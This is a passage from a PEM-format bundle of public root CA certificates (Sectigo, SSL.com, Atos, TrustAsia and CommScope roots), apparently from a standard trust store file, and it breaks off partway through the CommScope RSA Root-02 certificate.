-----END CERTIFICATE-----

Sectigo Public Server Authentication Root E46
=============================================
-----BEGIN CERTIFICATE-----
MIICOjCCAcGgAwIBAgIQQvLM2htpN0RfFf51KBC49DAKBggqhkjOPQQDAzBfMQswCQYDVQQGEwJH
QjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1TZWN0aWdvIFB1YmxpYyBTZXJ2
ZXIgQXV0aGVudGljYXRpb24gUm9vdCBFNDYwHhcNMjEwMzIyMDAwMDAwWhcNNDYwMzIxMjM1OTU5
WjBfMQswCQYDVQQGEwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1TZWN0
aWdvIFB1YmxpYyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBFNDYwdjAQBgcqhkjOPQIBBgUr
gQQAIgNiAAR2+pmpbiDt+dd34wc7qNs9Xzjoq1WmVk/WSOrsfy2qw7LFeeyZYX8QeccCWvkEN/U0
NSt3zn8gj1KjAIns1aeibVvjS5KToID1AZTc8GgHHs3u/iVStSBDHBv+6xnOQ6OjQjBAMB0GA1Ud
DgQWBBTRItpMWfFLXyY4qp3W7usNw/upYTAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB
/zAKBggqhkjOPQQDAwNnADBkAjAn7qRaqCG76UeXlImldCBteU/IvZNeWBj7LRoAasm4PdCkT0RH
lAFWovgzJQxC36oCMB3q4S6ILuH5px0CMk7yn2xVdOOurvulGu7t0vzCAxHrRVxgED1cf5kDW21U
SAGKcw==
-----END CERTIFICATE-----

Sectigo Public Server Authentication Root R46
=============================================
-----BEGIN CERTIFICATE-----
MIIFijCCA3KgAwIBAgIQdY39i658BwD6qSWn4cetFDANBgkqhkiG9w0BAQwFADBfMQswCQYDVQQG
EwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1TZWN0aWdvIFB1YmxpYyBT
ZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBSNDYwHhcNMjEwMzIyMDAwMDAwWhcNNDYwMzIxMjM1
OTU5WjBfMQswCQYDVQQGEwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1T
ZWN0aWdvIFB1YmxpYyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBSNDYwggIiMA0GCSqGSIb3
DQEBAQUAA4ICDwAwggIKAoICAQCTvtU2UnXYASOgHEdCSe5jtrch/cSV1UgrJnwUUxDaef0rty2k
1Cz66jLdScK5vQ9IPXtamFSvnl0xdE8H/FAh3aTPaE8bEmNtJZlMKpnzSDBh+oF8HqcIStw+Kxwf
GExxqjWMrfhu6DtK2eWUAtaJhBOqbchPM8xQljeSM9xfiOefVNlI8JhD1mb9nxc4Q8UBUQvX4yMP
FF1bFOdLvt30yNoDN9HWOaEhUTCDsG3XME6WW5HwcCSrv0WBZEMNvSE6Lzzpng3LILVCJ8zab5vu
ZDCQOc2TZYEhMbUjUDM3IuM47fgxMMxF/mL50V0yeUKH32rMVhlATc6qu/m1dkmU8Sf4kaWD5Qaz
Yw6A3OASVYCmO2a0OYctyPDQ0RTp5A1NDvZdV3LFOxxHVp3i1fuBYYzMTYCQNFu31xR13NgESJ/A
wSiItOkcyqex8Va3e0lMWeUgFaiEAin6OJRpmkkGj80feRQXEgyDet4fsZfu+Zd4KKTIRJLpfSYF
plhym3kT2BFfrsU4YjRosoYwjviQYZ4ybPUHNs2iTG7sijbt8uaZFURww3y8nDnAtOFr94MlI1fZ
EoDlSfB1D++N6xybVCi0ITz8fAr/73trdf+LHaAZBav6+CuBQug4urv7qv094PPK306Xlynt8xhW
6aWWrL3DkJiy4Pmi1KZHQ3xtzwIDAQABo0IwQDAdBgNVHQ4EFgQUVnNYZJX5khqwEioEYnmhQBWI
IUkwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAC9c
mTz8Bl6MlC5w6tIyMY208FHVvArzZJ8HXtXBc2hkeqK5Duj5XYUtqDdFqij0lgVQYKlJfp/imTYp
E0RHap1VIDzYm/EDMrraQKFz6oOht0SmDpkBm+S8f74TlH7Kph52gDY9hAaLMyZlbcp+nv4fjFg4
exqDsQ+8FxG75gbMY/qB8oFM2gsQa6H61SilzwZAFv97fRheORKkU55+MkIQpiGRqRxOF3yEvJ+M
0ejf5lG5Nkc/kLnHvALcWxxPDkjBJYOcCj+esQMzEhonrPcibCTRAUH4WAP+JWgiH5paPHxsnnVI
84HxZmduTILA7rpXDhjvLpr3Etiga+kFpaHpaPi8TD8SHkXoUsCjvxInebnMMTzD9joiFgOgyY9m
pFuiTdaBJQbpdqQACj7LzTWb4OE4y2BThihCQRxEV+ioratF4yUQvNs+ZUH7G6aXD+u5dHn5Hrwd
Vw1Hr8Mvn4dGp+smWg9WY7ViYG4A++MnESLn/pmPNPW56MORcr3Ywx65LvKRRFHQV80MNNVIIb/b
E/FmJUNS0nAiNs2fxBx1IK1jcmMGDw4nztJqDby1ORrp0XZ60Vzk50lJLVU3aPAaOpg+VBeHVOmm
J1CJeyAvP/+/oYtKR5j/K3tJPsMpRmAYQqszKbrAKbkTidOIijlBO8n9pu0f9GBj39ItVQGL
-----END CERTIFICATE-----

SSL.com TLS RSA Root CA 2022
============================
-----BEGIN CERTIFICATE-----
MIIFiTCCA3GgAwIBAgIQb77arXO9CEDii02+1PdbkTANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQG
EwJVUzEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMSUwIwYDVQQDDBxTU0wuY29tIFRMUyBSU0Eg
Um9vdCBDQSAyMDIyMB4XDTIyMDgyNTE2MzQyMloXDTQ2MDgxOTE2MzQyMVowTjELMAkGA1UEBhMC
VVMxGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjElMCMGA1UEAwwcU1NMLmNvbSBUTFMgUlNBIFJv
b3QgQ0EgMjAyMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANCkCXJPQIgSYT41I57u
9nTPL3tYPc48DRAokC+X94xI2KDYJbFMsBFMF3NQ0CJKY7uB0ylu1bUJPiYYf7ISf5OYt6/wNr/y
7hienDtSxUcZXXTzZGbVXcdotL8bHAajvI9AI7YexoS9UcQbOcGV0insS657Lb85/bRi3pZ7Qcac
oOAGcvvwB5cJOYF0r/c0WRFXCsJbwST0MXMwgsadugL3PnxEX4MN8/HdIGkWCVDi1FW24IBydm5M
R7d1VVm0U3TZlMZBrViKMWYPHqIbKUBOL9975hYsLfy/7PO0+r4Y9ptJ1O4Fbtk085zx7AGL0SDG
D6C1vBdOSHtRwvzpXGk3R2azaPgVKPC506QVzFpPulJwoxJF3ca6TvvC0PeoUidtbnm1jPx7jMEW
TO6Af77wdr5BUxIzrlo4QqvXDz5BjXYHMtWrifZOZ9mxQnUjbvPNQrL8VfVThxc7wDNY8VLS+YCk
8OjwO4s4zKTGkH8PnP2L0aPP2oOnaclQNtVcBdIKQXTbYxE3waWglksejBYSd66UNHsef8JmAOSq
g+qKkK3ONkRN0VHpvB/zagX9wHQfJRlAUW7qglFA35u5CCoGAtUjHBPW6dvbxrB6y3snm/vg1UYk
7RBLY0ulBY+6uB0rpvqR4pJSvezrZ5dtmi2fgTIFZzL7SAg/2SW4BCUvAgMBAAGjYzBhMA8GA1Ud
EwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAU+y437uOEeicuzRk1sTN8/9REQrkwHQYDVR0OBBYEFPsu
N+7jhHonLs0ZNbEzfP/UREK5MA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAjYlt
hEUY8U+zoO9opMAdrDC8Z2awms22qyIZZtM7QbUQnRC6cm4pJCAcAZli05bg4vsMQtfhWsSWTVTN
j8pDU/0quOr4ZcoBwq1gaAafORpR2eCNJvkLTqVTJXojpBzOCBvfR4iyrT7gJ4eLSYwfqUdYe5by
iB0YrrPRpgqU+tvT5TgKa3kSM/tKWTcWQA673vWJDPFs0/dRa1419dvAJuoSc06pkZCmF8NsLzjU
o3KUQyxi4U5cMj29TH0ZR6LDSeeWP4+a0zvkEdiLA9z2tmBVGKaBUfPhqBVq6+AL8BQx1rmMRTqo
ENjwuSfr98t67wVylrXEj5ZzxOhWc5y8aVFjvO9nHEMaX3cZHxj4HCUp+UmZKbaSPaKDN7Egkaib
MOlqbLQjk2UEqxHzDh1TJElTHaE/nUiSEeJ9DU/1172iWD54nR4fK/4huxoTtrEoZP2wAgDHbICi
vRZQIA9ygV/MlP+7mea6kMvq+cYMwq7FGc4zoWtcu358NFcXrfA/rs3qr5nsLFR+jM4uElZI7xc7
P0peYNLcdDa8pUNjyw9bowJWCZ4kLOGGgYz+qxcs+sjiMho6/4UIyYOf8kpIEFR3N+2ivEC+5BB0
9+Rbu7nzifmPQdjH5FCQNYA+HLhNkNPU98OwoX6EyneSMSy4kLGCenROmxMmtNVQZlR4rmA=
-----END CERTIFICATE-----

SSL.com TLS ECC Root CA 2022
============================
-----BEGIN CERTIFICATE-----
MIICOjCCAcCgAwIBAgIQFAP1q/s3ixdAW+JDsqXRxDAKBggqhkjOPQQDAzBOMQswCQYDVQQGEwJV
UzEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMSUwIwYDVQQDDBxTU0wuY29tIFRMUyBFQ0MgUm9v
dCBDQSAyMDIyMB4XDTIyMDgyNTE2MzM0OFoXDTQ2MDgxOTE2MzM0N1owTjELMAkGA1UEBhMCVVMx
GDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjElMCMGA1UEAwwcU1NMLmNvbSBUTFMgRUNDIFJvb3Qg
Q0EgMjAyMjB2MBAGByqGSM49AgEGBSuBBAAiA2IABEUpNXP6wrgjzhR9qLFNoFs27iosU8NgCTWy
JGYmacCzldZdkkAZDsalE3D07xJRKF3nzL35PIXBz5SQySvOkkJYWWf9lCcQZIxPBLFNSeR7T5v1
5wj4A4j3p8OSSxlUgaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBSJjy+j6CugFFR7
81a4Jl9nOAuc0DAdBgNVHQ4EFgQUiY8vo+groBRUe/NWuCZfZzgLnNAwDgYDVR0PAQH/BAQDAgGG
MAoGCCqGSM49BAMDA2gAMGUCMFXjIlbp15IkWE8elDIPDAI2wv2sdDJO4fscgIijzPvX6yv/N33w
7deedWo1dlJF4AIxAMeNb0Igj762TVntd00pxCAgRWSGOlDGxK0tk/UYfXLtqc/ErFc2KAhl3zx5
Zn6g6g==
-----END CERTIFICATE-----

Atos TrustedRoot Root CA ECC TLS 2021
=====================================
-----BEGIN CERTIFICATE-----
MIICFTCCAZugAwIBAgIQPZg7pmY9kGP3fiZXOATvADAKBggqhkjOPQQDAzBMMS4wLAYDVQQDDCVB
dG9zIFRydXN0ZWRSb290IFJvb3QgQ0EgRUNDIFRMUyAyMDIxMQ0wCwYDVQQKDARBdG9zMQswCQYD
VQQGEwJERTAeFw0yMTA0MjIwOTI2MjNaFw00MTA0MTcwOTI2MjJaMEwxLjAsBgNVBAMMJUF0b3Mg
VHJ1c3RlZFJvb3QgUm9vdCBDQSBFQ0MgVExTIDIwMjExDTALBgNVBAoMBEF0b3MxCzAJBgNVBAYT
AkRFMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEloZYKDcKZ9Cg3iQZGeHkBQcfl+3oZIK59sRxUM6K
DP/XtXa7oWyTbIOiaG6l2b4siJVBzV3dscqDY4PMwL502eCdpO5KTlbgmClBk1IQ1SQ4AjJn8ZQS
b+/Xxd4u/RmAo0IwQDAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR2KCXWfeBmmnoJsmo7jjPX
NtNPojAOBgNVHQ8BAf8EBAMCAYYwCgYIKoZIzj0EAwMDaAAwZQIwW5kp85wxtolrbNa9d+F851F+
uDrNozZffPc8dz7kUK2o59JZDCaOMDtuCCrCp1rIAjEAmeMM56PDr9NJLkaCI2ZdyQAUEv049OGY
a3cpetskz2VAv9LcjBHo9H1/IISpQuQo
-----END CERTIFICATE-----

Atos TrustedRoot Root CA RSA TLS 2021
=====================================
-----BEGIN CERTIFICATE-----
MIIFZDCCA0ygAwIBAgIQU9XP5hmTC/srBRLYwiqipDANBgkqhkiG9w0BAQwFADBMMS4wLAYDVQQD
DCVBdG9zIFRydXN0ZWRSb290IFJvb3QgQ0EgUlNBIFRMUyAyMDIxMQ0wCwYDVQQKDARBdG9zMQsw
CQYDVQQGEwJERTAeFw0yMTA0MjIwOTIxMTBaFw00MTA0MTcwOTIxMDlaMEwxLjAsBgNVBAMMJUF0
b3MgVHJ1c3RlZFJvb3QgUm9vdCBDQSBSU0EgVExTIDIwMjExDTALBgNVBAoMBEF0b3MxCzAJBgNV
BAYTAkRFMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAtoAOxHm9BYx9sKOdTSJNy/BB
l01Z4NH+VoyX8te9j2y3I49f1cTYQcvyAh5x5en2XssIKl4w8i1mx4QbZFc4nXUtVsYvYe+W/CBG
vevUez8/fEc4BKkbqlLfEzfTFRVOvV98r61jx3ncCHvVoOX3W3WsgFWZkmGbzSoXfduP9LVq6hdK
ZChmFSlsAvFr1bqjM9xaZ6cF4r9lthawEO3NUDPJcFDsGY6wx/J0W2tExn2WuZgIWWbeKQGb9Cpt
0xU6kGpn8bRrZtkh68rZYnxGEFzedUlnnkL5/nWpo63/dgpnQOPF943HhZpZnmKaau1Fh5hnstVK
PNe0OwANwI8f4UDErmwh3El+fsqyjW22v5MvoVw+j8rtgI5Y4dtXz4U2OLJxpAmMkokIiEjxQGMY
sluMWuPD0xeqqxmjLBvk1cbiZnrXghmmOxYsL3GHX0WelXOTwkKBIROW1527k2gV+p2kHYzygeBY
Br3JtuP2iV2J+axEoctr+hbxx1A9JNr3w+SH1VbxT5Aw+kUJWdo0zuATHAR8ANSbhqRAvNncTFd+
rrcztl524WWLZt+NyteYr842mIycg5kDcPOvdO3GDjbnvezBc6eUWsuSZIKmAMFwoW4sKeFYV+xa
fJlrJaSQOoD0IJ2azsct+bJLKZWD6TWNp0lIpw9MGZHQ9b8Q4HECAwEAAaNCMEAwDwYDVR0TAQH/
BAUwAwEB/zAdBgNVHQ4EFgQUdEmZ0f+0emhFdcN+tNzMzjkz2ggwDgYDVR0PAQH/BAQDAgGGMA0G
CSqGSIb3DQEBDAUAA4ICAQAjQ1MkYlxt/T7Cz1UAbMVWiLkO3TriJQ2VSpfKgInuKs1l+NsW4AmS
4BjHeJi78+xCUvuppILXTdiK/ORO/auQxDh1MoSf/7OwKwIzNsAQkG8dnK/haZPso0UvFJ/1TCpl
Q3IM98P4lYsU84UgYt1UU90s3BiVaU+DR3BAM1h3Egyi61IxHkzJqM7F78PRreBrAwA0JrRUITWX
AdxfG/F851X6LWh3e9NpzNMOa7pNdkTWwhWaJuywxfW70Xp0wmzNxbVe9kzmWy2B27O3Opee7c9G
slA9hGCZcbUztVdF5kJHdWoOsAgMrr3e97sPWD2PAzHoPYJQyi9eDF20l74gNAf0xBLh7tew2Vkt
afcxBPTy+av5EzH4AXcOPUIjJsyacmdRIXrMPIWo6iFqO9taPKU0nprALN+AnCng33eU0aKAQv9q
TFsR0PXNor6uzFFcw9VUewyu1rkGd4Di7wcaaMxZUa1+XGdrudviB0JbuAEFWDlN5LuYo7Ey7Nmj
1m+UI/87tyll5gfp77YZ6ufCOB0yiJA8EytuzO+rdwY0d4RPcuSBhPm5dDTedk+SKlOxJTnbPP/l
PqYO5Wue/9vsL3SD3460s6neFE3/MaNFcyT6lSnMEpcEoji2jbDwN/zIIX8/syQbPYtuzE2wFg2W
HYMfRsCbvUOZ58SWLs5fyQ==
-----END CERTIFICATE-----

TrustAsia Global Root CA G3
===========================
-----BEGIN CERTIFICATE-----
MIIFpTCCA42gAwIBAgIUZPYOZXdhaqs7tOqFhLuxibhxkw8wDQYJKoZIhvcNAQEMBQAwWjELMAkG
A1UEBhMCQ04xJTAjBgNVBAoMHFRydXN0QXNpYSBUZWNobm9sb2dpZXMsIEluYy4xJDAiBgNVBAMM
G1RydXN0QXNpYSBHbG9iYWwgUm9vdCBDQSBHMzAeFw0yMTA1MjAwMjEwMTlaFw00NjA1MTkwMjEw
MTlaMFoxCzAJBgNVBAYTAkNOMSUwIwYDVQQKDBxUcnVzdEFzaWEgVGVjaG5vbG9naWVzLCBJbmMu
MSQwIgYDVQQDDBtUcnVzdEFzaWEgR2xvYmFsIFJvb3QgQ0EgRzMwggIiMA0GCSqGSIb3DQEBAQUA
A4ICDwAwggIKAoICAQDAMYJhkuSUGwoqZdC+BqmHO1ES6nBBruL7dOoKjbmzTNyPtxNST1QY4Sxz
lZHFZjtqz6xjbYdT8PfxObegQ2OwxANdV6nnRM7EoYNl9lA+sX4WuDqKAtCWHwDNBSHvBm3dIZwZ
Q0WhxeiAysKtQGIXBsaqvPPW5vxQfmZCHzyLpnl5hkA1nyDvP+uLRx+PjsXUjrYsyUQE49RDdT/V
P68czH5GX6zfZBCK70bwkPAPLfSIC7Epqq+FqklYqL9joDiR5rPmd2jE+SoZhLsO4fWvieylL1Ag
dB4SQXMeJNnKziyhWTXAyB1GJ2Faj/lN03J5Zh6fFZAhLf3ti1ZwA0pJPn9pMRJpxx5cynoTi+jm
9WAPzJMshH/x/Gr8m0ed262IPfN2dTPXS6TIi/n1Q1hPy8gDVI+lhXgEGvNz8teHHUGf59gXzhqc
D0r83ERoVGjiQTz+LISGNzzNPy+i2+f3VANfWdP3kXjHi3dqFuVJhZBFcnAvkV34PmVACxmZySYg
WmjBNb9Pp1Hx2BErW+Canig7CjoKH8GB5S7wprlppYiU5msTf9FkPz2ccEblooV7WIQn3MSAPmea
mseaMQ4w7OYXQJXZRe0Blqq/DPNL0WP3E1jAuPP6Z92bfW1K/zJMtSU7/xxnD4UiWQWRkUF3gdCF
TIcQcf+eQxuulXUtgQIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFEDk5PIj
7zjKsK5Xf/IhMBY027ySMB0GA1UdDgQWBBRA5OTyI+84yrCuV3/yITAWNNu8kjAOBgNVHQ8BAf8E
BAMCAQYwDQYJKoZIhvcNAQEMBQADggIBACY7UeFNOPMyGLS0XuFlXsSUT9SnYaP4wM8zAQLpw6o1
D/GUE3d3NZ4tVlFEbuHGLige/9rsR82XRBf34EzC4Xx8MnpmyFq2XFNFV1pF1AWZLy4jVe5jaN/T
G3inEpQGAHUNcoTpLrxaatXeL1nHo+zSh2bbt1S1JKv0Q3jbSwTEb93mPmY+KfJLaHEih6D4sTNj
duMNhXJEIlU/HHzp/LgV6FL6qj6jITk1dImmasI5+njPtqzn59ZW/yOSLlALqbUHM/Q4X6RJpstl
cHboCoWASzY9M/eVVHUl2qzEc4Jl6VL1XP04lQJqaTDFHApXB64ipCz5xUG3uOyfT0gA+QEEVcys
+TIxxHWVBqB/0Y0n3bOppHKH/lmLmnp0Ft0WpWIp6zqW3IunaFnT63eROfjXy9mPX1onAX1daBli
2MjN9LdyR75bl87yraKZk62Uy5P2EgmVtqvXO9A/EcswFi55gORngS1d7XB4tmBZrOFdRWOPyN9y
aFvqHbgB8X7754qz41SgOAngPN5C8sLtLpvzHzW2NtjjgKGLzZlkD8Kqq7HK9W+eQ42EVJmzbsAS
ZthwEPEGNTNDqJwuuhQxzhB/HIbjj9LV+Hfsm6vxL2PZQl/gZ4FkkfGXL/xuJvYz+NO1+MRiqzFR
JQJ6+N1rZdVtTTDIZbpoFGWsJwt0ivKH
-----END CERTIFICATE-----

TrustAsia Global Root CA G4
===========================
-----BEGIN CERTIFICATE-----
MIICVTCCAdygAwIBAgIUTyNkuI6XY57GU4HBdk7LKnQV1tcwCgYIKoZIzj0EAwMwWjELMAkGA1UE
BhMCQ04xJTAjBgNVBAoMHFRydXN0QXNpYSBUZWNobm9sb2dpZXMsIEluYy4xJDAiBgNVBAMMG1Ry
dXN0QXNpYSBHbG9iYWwgUm9vdCBDQSBHNDAeFw0yMTA1MjAwMjEwMjJaFw00NjA1MTkwMjEwMjJa
MFoxCzAJBgNVBAYTAkNOMSUwIwYDVQQKDBxUcnVzdEFzaWEgVGVjaG5vbG9naWVzLCBJbmMuMSQw
IgYDVQQDDBtUcnVzdEFzaWEgR2xvYmFsIFJvb3QgQ0EgRzQwdjAQBgcqhkjOPQIBBgUrgQQAIgNi
AATxs8045CVD5d4ZCbuBeaIVXxVjAd7Cq92zphtnS4CDr5nLrBfbK5bKfFJV4hrhPVbwLxYI+hW8
m7tH5j/uqOFMjPXTNvk4XatwmkcN4oFBButJ+bAp3TPsUKV/eSm4IJijYzBhMA8GA1UdEwEB/wQF
MAMBAf8wHwYDVR0jBBgwFoAUpbtKl86zK3+kMd6Xg1mDpm9xy94wHQYDVR0OBBYEFKW7SpfOsyt/
pDHel4NZg6ZvccveMA4GA1UdDwEB/wQEAwIBBjAKBggqhkjOPQQDAwNnADBkAjBe8usGzEkxn0AA
bbd+NvBNEU/zy4k6LHiRUKNbwMp1JvK/kF0LgoxgKJ/GcJpo5PECMFxYDlZ2z1jD1xCMuo6u47xk
dUfFVZDj/bpV6wfEU6s3qe4hsiFbYI89MvHVI5TWWA==
-----END CERTIFICATE-----

CommScope Public Trust ECC Root-01
==================================
-----BEGIN CERTIFICATE-----
MIICHTCCAaOgAwIBAgIUQ3CCd89NXTTxyq4yLzf39H91oJ4wCgYIKoZIzj0EAwMwTjELMAkGA1UE
BhMCVVMxEjAQBgNVBAoMCUNvbW1TY29wZTErMCkGA1UEAwwiQ29tbVNjb3BlIFB1YmxpYyBUcnVz
dCBFQ0MgUm9vdC0wMTAeFw0yMTA0MjgxNzM1NDNaFw00NjA0MjgxNzM1NDJaME4xCzAJBgNVBAYT
AlVTMRIwEAYDVQQKDAlDb21tU2NvcGUxKzApBgNVBAMMIkNvbW1TY29wZSBQdWJsaWMgVHJ1c3Qg
RUNDIFJvb3QtMDEwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAARLNumuV16ocNfQj3Rid8NeeqrltqLx
eP0CflfdkXmcbLlSiFS8LwS+uM32ENEp7LXQoMPwiXAZu1FlxUOcw5tjnSCDPgYLpkJEhRGnSjot
6dZoL0hOUysHP029uax3OVejQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G
A1UdDgQWBBSOB2LAUN3GGQYARnQE9/OufXVNMDAKBggqhkjOPQQDAwNoADBlAjEAnDPfQeMjqEI2
Jpc1XHvr20v4qotzVRVcrHgpD7oh2MSg2NED3W3ROT3Ek2DS43KyAjB8xX6I01D1HiXo+k515liW
pDVfG2XqYZpwI7UNo5uSUm9poIyNStDuiw7LR47QjRE=
-----END CERTIFICATE-----

CommScope Public Trust ECC Root-02
==================================
-----BEGIN CERTIFICATE-----
MIICHDCCAaOgAwIBAgIUKP2ZYEFHpgE6yhR7H+/5aAiDXX0wCgYIKoZIzj0EAwMwTjELMAkGA1UE
BhMCVVMxEjAQBgNVBAoMCUNvbW1TY29wZTErMCkGA1UEAwwiQ29tbVNjb3BlIFB1YmxpYyBUcnVz
dCBFQ0MgUm9vdC0wMjAeFw0yMTA0MjgxNzQ0NTRaFw00NjA0MjgxNzQ0NTNaME4xCzAJBgNVBAYT
AlVTMRIwEAYDVQQKDAlDb21tU2NvcGUxKzApBgNVBAMMIkNvbW1TY29wZSBQdWJsaWMgVHJ1c3Qg
RUNDIFJvb3QtMDIwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAR4MIHoYx7l63FRD/cHB8o5mXxO1Q/M
MDALj2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmUv4RDsNuE
SgMjGWdqb8FuvAY5N9GIIvejQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G
A1UdDgQWBBTmGHX/72DehKT1RsfeSlXjMjZ59TAKBggqhkjOPQQDAwNnADBkAjAmc0l6tqvmSfR9
Uj/UQQSugEODZXW5hYA4O9Zv5JOGq4/nich/m35rChJVYaoR4HkCMHfoMXGsPHED1oQmHhS48zs7
3u1Z/GtMMH9ZzkXpc2AVmkzw5l4lIhVtwodZ0LKOag==
-----END CERTIFICATE-----

CommScope Public Trust RSA Root-01
==================================
-----BEGIN CERTIFICATE-----
MIIFbDCCA1SgAwIBAgIUPgNJgXUWdDGOTKvVxZAplsU5EN0wDQYJKoZIhvcNAQELBQAwTjELMAkG
A1UEBhMCVVMxEjAQBgNVBAoMCUNvbW1TY29wZTErMCkGA1UEAwwiQ29tbVNjb3BlIFB1YmxpYyBU
cnVzdCBSU0EgUm9vdC0wMTAeFw0yMTA0MjgxNjQ1NTRaFw00NjA0MjgxNjQ1NTNaME4xCzAJBgNV
BAYTAlVTMRIwEAYDVQQKDAlDb21tU2NvcGUxKzApBgNVBAMMIkNvbW1TY29wZSBQdWJsaWMgVHJ1
c3QgUlNBIFJvb3QtMDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCwSGWjDR1C45Ft
nYSkYZYSwu3D2iM0GXb26v1VWvZVAVMP8syMl0+5UMuzAURWlv2bKOx7dAvnQmtVzslhsuitQDy6
uUEKBU8bJoWPQ7VAtYXR1HHcg0Hz9kXHgKKEUJdGzqAMxGBWBB0HW0alDrJLpA6lfO741GIDuZNq
ihS4cPgugkY4Iw50x2tBt9Apo52AsH53k2NC+zSDO3OjWiE260f6GBfZumbCk6SP/F2krfxQapWs
vCQz0b2If4b19bJzKo98rwjyGpg/qYFlP8GMicWWMJoKz/TUyDTtnS+8jTiGU+6Xn6myY5QXjQ/c
Zip8UlF1y5mO6D1cv547KI2DAg+pn3LiLCuz3GaXAEDQpFSOm117RTYm1nJD68/A6g3czhLmfTif
BSeolz7pUcZsBSjBAg/pGG3svZwG1KdJ9FQFa2ww8esD1eo9anbCyxooSU1/ZOD6K9pzg4H/kQO9
lLvkuI6cMmPNn7togbGEW682v3fuHX/3SZtS7NJ3Wn2RnU3COS3kuoL4b/JOHg9O5j9ZpSPcPYeo
KFgo0fEbNttPxP/hjFtyjMcmAyejOQoBqsCyMWCDIqFPEgkBEa801M/XrmLTBQe0MXXgDW1XT2mH
+VepuhX2yFJtocucH+X8eKg1mp9BFM6ltM6UCBwJrVbl2rZJmkrqYxhTnCwuwwIDAQABo0IwQDAP
BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUN12mmnQywsL5x6YVEFm4
5P3luG0wDQYJKoZIhvcNAQELBQADggIBAK+nz97/4L1CjU3lIpbfaOp9TSp90K09FlxD533Ahuh6
NWPxzIHIxgvoLlI1pKZJkGNRrDSsBTtXAOnTYtPZKdVUvhwQkZyybf5Z/Xn36lbQnmhUQo8mUuJM
3y+Xpi/SB5io82BdS5pYV4jvguX6r2yBS5KPQJqTRlnLX3gWsWc+QgvfKNmwrZggvkN80V4aCRck
jXtdlemrwWCrWxhkgPut4AZ9HcpZuPN4KWfGVh2vtrV0KnahP/t1MJ+UXjulYPPLXAziDslg+Mkf
Foom3ecnf+slpoq9uC02EJqxWE2aaE9gVOX2RhOOiKy8IUISrcZKiX2bwdgt6ZYD9KJ0DLwAHb/W
NyVntHKLr4W96ioDj8z7PEQkguIBpQtZtjSNMgsSDesnwv1B10A8ckYpwIzqug/xBpMu95yo9GA+
o/E4Xo4TwbM6l4c/ksp4qRyv0LAbJh6+cOx69TOY6lz/KwsETkPdY34Op054A5U+1C0wlREQKC6/
oAI+/15Z0wUOlV9TRe9rh9VIzRamloPh37MG88EU26fsHItdkJANclHnYfkUyq+Dj7+vsQpZXdxc
1+SWrVtgHdqul7I52Qb1dgAT+GhMIbA1xNxVssnBQVocicCMb3SgazNNtQEo/a2tiRc7ppqEvOuM
6sRxJKi6KfkIsidWNTJf6jn7MZrVGczw
-----END CERTIFICATE-----

CommScope Public Trust RSA Root-02
==================================
-----BEGIN CERTIFICATE-----
MIIFbDCCA1SgAwIBAgIUVBa/O345lXGN0aoApYYNK496BU4wDQYJKoZIhvcNAQELBQAwTjELMAkG
A1UEBhMCVVMxEjAQBgNVBAoMCUNvbW1TY29wZTErMCkGA1UEAwwiQ29tbVNjb3BlIFB1YmxpYyBU
cnVzdCBSU0EgUm9vdC0wMjAeFw0yMTA0MjgxNzE2NDNaFw00NjA0MjgxNzE2NDJaME4xCzAJBgNV
BAYTAlVTMRIwEAYDVQQKDAlDb21tU2NvcGUxKzApBgNVBAMMIkNvbW1TY29wZSBQdWJsaWMgVHJ1
c3QgUlNBIFJvb3QtMDIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDh+g77aAASyE3V
rCLENQE7xVTlWXZjpX/rwcRqmL0yjReA61260WI9JSMZNRTpf4mnG2I81lDnNJUDMrG0kyI9p+Kx
7eZ7Ti6Hmw0zdQreqjXnfuU2mKKuJZ6VszKWpCtYHu8//mI0SFHRtI1CrWDaSWqVcN3SAOLMV2MC
e5bdSZdbkk6V0/nLKR8YSvgBKtJjCW4k6YnS5cciTNxzhkcAqg2Ijq6FfUrpuzNPDlJwnZXjfG2W
Wy09X6GDRl224yW4fKcZgBzqZUPckXk2LHR88mcGyYnJ27/aaL8j7dxrrSiDeS/sOKUNNwFnJ5rp
M9kzXzehxfCrPfp4sOcsn/Y+n2Dg70jpkEUeBVF4GiwSLFworA2iI540jwXmojPOEXcT1A6kHkIf
